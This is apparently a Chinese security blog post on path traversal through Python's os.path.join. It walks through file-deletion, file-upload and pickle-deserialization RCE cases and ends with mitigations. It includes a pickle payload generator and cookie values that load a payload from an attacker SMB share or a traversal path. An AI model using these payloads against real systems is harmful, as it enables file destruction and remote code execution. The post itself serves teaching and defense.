os.path.join
是 Python 标准库 os.path
模块中的一个函数,用于将多个路径组件组合成一个路径字符串,并根据操作系统的路径规则处理路径分隔符。它是编写跨平台文件路径处理代码的关键工具。但如果开发者对该函数了解不完全,且参数用户可控时,就会造成一些安全问题
os.path.join(path, *paths)
官方文档介绍:
智能地合并一个或多个路径部分。 返回值将是 path 和所有 *paths 成员的拼接,其中每个非空部分后面都紧跟一个目录分隔符,最后一个除外。 也就是说,如果最后一个部分为空或是以一个分隔符结束则结果将仅以一个分隔符结束。 如果某个部分为绝对路径(在 Windows 上需要同时有驱动器号和根路径符号),则之前的所有部分会被忽略并从该绝对路径部分开始拼接。
- 在 Windows 上,使用 `\` 作为路径分隔符。
- 在类 Unix 系统(Linux、macOS)上,使用 `/`。
例如:
```python
# 拼接多个路径段,可能造成路径穿越
base_dir = Path.home() # 获取当前用户的主目录
sub_dir = "../user2"
# sub_dir2 = "..\\user2"
file_name = "file.txt"
full_path = os.path.join(base_dir, sub_dir, file_name)
print(full_path)
# sub_dir输出 (Linux/Mac): /home/user/../user2/file.txt
## sub_dir2输出 (Windows): C:\\Users\\user\\..\\user2\\file.txt
```
忽略多余的分隔符
如果某个路径组件以分隔符开头,os.path.join
会将之前的路径部分视为无效,从该组件重新计算路径。 由于该方法的返回值将是 path 和所有 *paths 成员的拼接,所以该方法是多参数的,只要后面多个参数中的其中一个为绝对路径,就会舍弃该绝对路径前面的所有路径
例如:
base_dir = "/home/user/"
sub_dir = "/documents"
file_name = "file.txt"
full_path = os.path.join(base_dir, sub_dir, file_name)
print(full_path)
# 输出: /documents/file.txt
base_dir = r"D:\home\user"
sub_dir = r"C:\documents"
file_name = "file.txt"
full_path = os.path.join(base_dir, sub_dir, file_name)
print(full_path)
# 输出: C:\documents\file.txt
跨平台兼容
编写代码时无需手动判断路径格式,os.path.join
自动适配平台。
例如:
base_dir = Path.home() # 获取当前用户的主目录
sub_dir = "projects"
file_name = "main.py"
full_path = os.path.join(base_dir, sub_dir, file_name)
print(full_path)
# 输出 (Linux/Mac): /home/username/projects/main.py
# 输出 (Windows): C:\Users\username\projects\main.py
通过上面的例子我们知道,虽然os.path.join
方便开发者实现跨平台兼容,但如果第二个之后的参数可控,就会导致突破路径范围限制。接下来会通过几个实际的案例展示其危害。
在下面的代码中,请求访问/delete-batch/
这个路由后,访问repo.delete_runs(runs_batch)
方法
@runs_router.post('/delete-batch/')
async def delete_runs_batch_api(runs_batch: RunsBatchIn):
repo = get_project_repo()
success, remaining_runs = repo.delete_runs(runs_batch)
if not success:
raise HTTPException(status_code=400, detail={
'message': 'Error while deleting runs.',
'detail': {
'Remaining runs id': remaining_runs
}
})
return {
'status': 'OK'
}
经过一系列跳转,最后到达_delete_run
方法,其中run_hash
是通过post传递的json格式的list,在下面使用os.path.join
的拼接,最后通过os.remove(meta_path)
删除文件,其中os.path.join
的最后一个参数可控,所以可以达到文件删除。
def _delete_run(self, run_hash):
...
sub_dirs = ('chunks', 'progress', 'locks')
for sub_dir in sub_dirs:
meta_path = os.path.join(self.path, 'meta', sub_dir, run_hash) # 漏洞点
if os.path.isfile(meta_path):
os.remove(meta_path)
else:
shutil.rmtree(meta_path, ignore_errors=True)
seqs_path = os.path.join(self.path, 'seqs', sub_dir, run_hash) # 漏洞点
if os.path.isfile(seqs_path):
os.remove(seqs_path)
else:
shutil.rmtree(seqs_path, ignore_errors=True)
漏洞复现
首先创建一个文件
发包,显示ok即成功删除
验证
在下面代码中用 FastAPI 编写的一个文件上传接口的实现,使用put请求方法请求/api/v1/upload_file/文件名
的方式上传文件,然后获取临时目录,并在之后使用os.path.join
将临时目录和文件名进行拼接,将文件保存在临时目录下。
@fastapi_service.put("/api/v1/upload_file/{filename}")
async def upload_file(response: Response, filename: str, uploaded_file: UploadFile = File(...)) -> Union[str, dict]:
if not ENABLE_UPLOAD_ENDPOINT:
response.status_code = status.HTTP_405_METHOD_NOT_ALLOWED
return {"status": "failure", "reason": "This endpoint is disabled."}
with TemporaryDirectory() as tmp:
drive = Drive(
"lit://uploaded_files",
component_name="file_server",
allow_duplicates=True,
root_folder=tmp,
)
tmp_file = os.path.join(tmp, filename) # 漏洞点
with open(tmp_file, "wb") as f:
done = False
while not done:
# Note: The 8192 number doesn't have a strong reason.
content = await uploaded_file.read(8192)
f.write(content)
done = content == b""
with _context(str(ComponentContext.WORK)):
drive.put(filename)
return f"Successfully uploaded '{filename}' to the Drive"
由于这里的文件名获取是在url处,所以无法通过常规的目录穿越(因为../../会被当作url路径从而解析到其他路由上面)。但由于在Windows下,路径的分隔符是\
反斜杠,并且允许在 URL 段中使用。
在下面的os.path.join
中对路径进行拼接时,由于第二个参数时文件名可控的,所以我们可以使用绝对路径从而可以忽略前面的路径,将文件上传到Windows主机上的任何路径。
漏洞复现
当然也可以使用..\..\
(反斜杠)的方式进行目录穿越上传文件
在下面的代码中,fname使用os.path.join
方法 拼接 self.path
和 sid
,生成存储会话数据的文件路径。如果存在该文件,则会对该文件进行反序列化得到当前session的相关信息,如果 data
为 None
(说明加载数据失败或文件为空),则会调用 self.new_session()
创建新的会话对象。
from pickle import dump, load
def get(self, sid, digest):
fname = os.path.join(self.path, sid) # 漏洞点
data = None
hmac_digest = None
randval = None
if os.path.exists(fname):
try:
with open(fname, 'rb') as f:
randval, hmac_digest, data = load(f) # 反序列化点
except Exception:
pass
if not data:
return self.new_session()
所以如果这里的sid
可控,且能够上传文件,那么我们就可以通过路径穿越的方式获取到该文件,再配合下面的反序列化造成RCE。
通过向上追溯,最终确定sid是由cookie_val
通过!
分割获取的,而cookie_val
是通过app.config[‘SESSION_COOKIE_NAME’]`中获取的
def open_session(self, app, request):
cookie_val = request.cookies.get(app.config['SESSION_COOKIE_NAME']) # 用户可控点
if not cookie_val or '!' not in cookie_val:
return self.manager.new_session()
sid, digest = cookie_val.split('!', 1)
if self.manager.exists(sid):
return self.manager.get(sid, digest)
return self.manager.new_session()
在config中定义了SESSION_COOKIE_NAME
为pga4_session
,由于cookie中的pga4_session是可控的,所以sid也是可控的。
接下来就是寻找上传的地方
对于部署在windows系统的应用
对于windows来说,默认是支持smb协议的,os.path.join
在处理smb路径时,同样会将它看作绝对路径,会舍弃掉前面的路径,直接访问smb服务器的文件,例如\\192.168.1.100\Documents\file.txt
,可以指定攻击者的任意文件。
复现步骤
生成payload(python反序列化详细请看我之前的文章)
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('calc.exe',))
payload = pickle.dumps(Exploit())
with open('payload.pkl', 'wb') as f:
f.write(payload)
print("success")
使用自己的windows开启smb服务(linux也可以使用第三方工具开启smb服务)
将前面生成的payload放在路径下,用其他机器测试可以正常访问
然后将cookie的pga4_session值设置为\\192.168.80.128\tmp\payload.pkl!a
发送即可执行命令(注意要是不成功可以将感叹号后面的值任意修改,因为应用中存在缓存,会首先从缓存中读取)
目标服务器上也成功弹出计算器
对于部署在linux系统的应用
对于linux来说,没有上面的技巧,只能老老实实寻找上传点,在后台有一处可以直接上传文件的地方,将前面生成的payload文件上传后会返回上传路径
漏洞复现(这里使用win做演示,实际原理一样)
将cookie的pga4_session值设置为../storage/pga_user_123_qq.com/payload.pkl!a
发送即可执行命令(其中pga_user_123_qq.com是pgauser+登录用户名并将@替换为)
验证用户输入
判断被拼接的参数是否为绝对路径,或判断是否有路径穿越的相关关键字例如../
或..\
路径验证
使用 os.path.abspath
检查路径是否在允许的目录范围内,并对拼接后的路径和拼接的第一个路径进行判断,防止被拼接的路径使用路径穿越或使用绝对路径,例如
base_dir = "/safe/directory"
user_input = "../../etc/passwd"
file_path = os.path.abspath(os.path.join(base_dir, user_input)) # 对使用os.path.join拼接后的路径返回给定路径的规范化绝对路径
if not file_path.startswith(os.path.abspath(base_dir)): # 判断绝对路径是否是base_dir开头的
raise ValueError("路径穿越被检测到!")
对用户输入的文件名进行随机化
通常使用uuid或随机字符串的方式对用户输入的文件名重命名
使用其他更加安全的方法
Python 的 pathlib
模块提供了更高级和安全的路径操作功能,它是 os.path
的现代替代方案。
from pathlib import Path
# 定义路径
base_path = Path("D:/home/user")
file_name = "../../example.txt"
# 拼接路径
full_path = base_path / file_name
print(full_path.resolve()) # 输出: D:\example.txt # resolve方法将路径标准化,解析所有的.和..,将路径转换为绝对路径。
if not full_path.resolve().is_relative_to(base_path): # is_relative_to方法可以用来判断一个路径是否是另一个路径的子路径。
raise ValueError("路径穿越被检测到!")
80 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!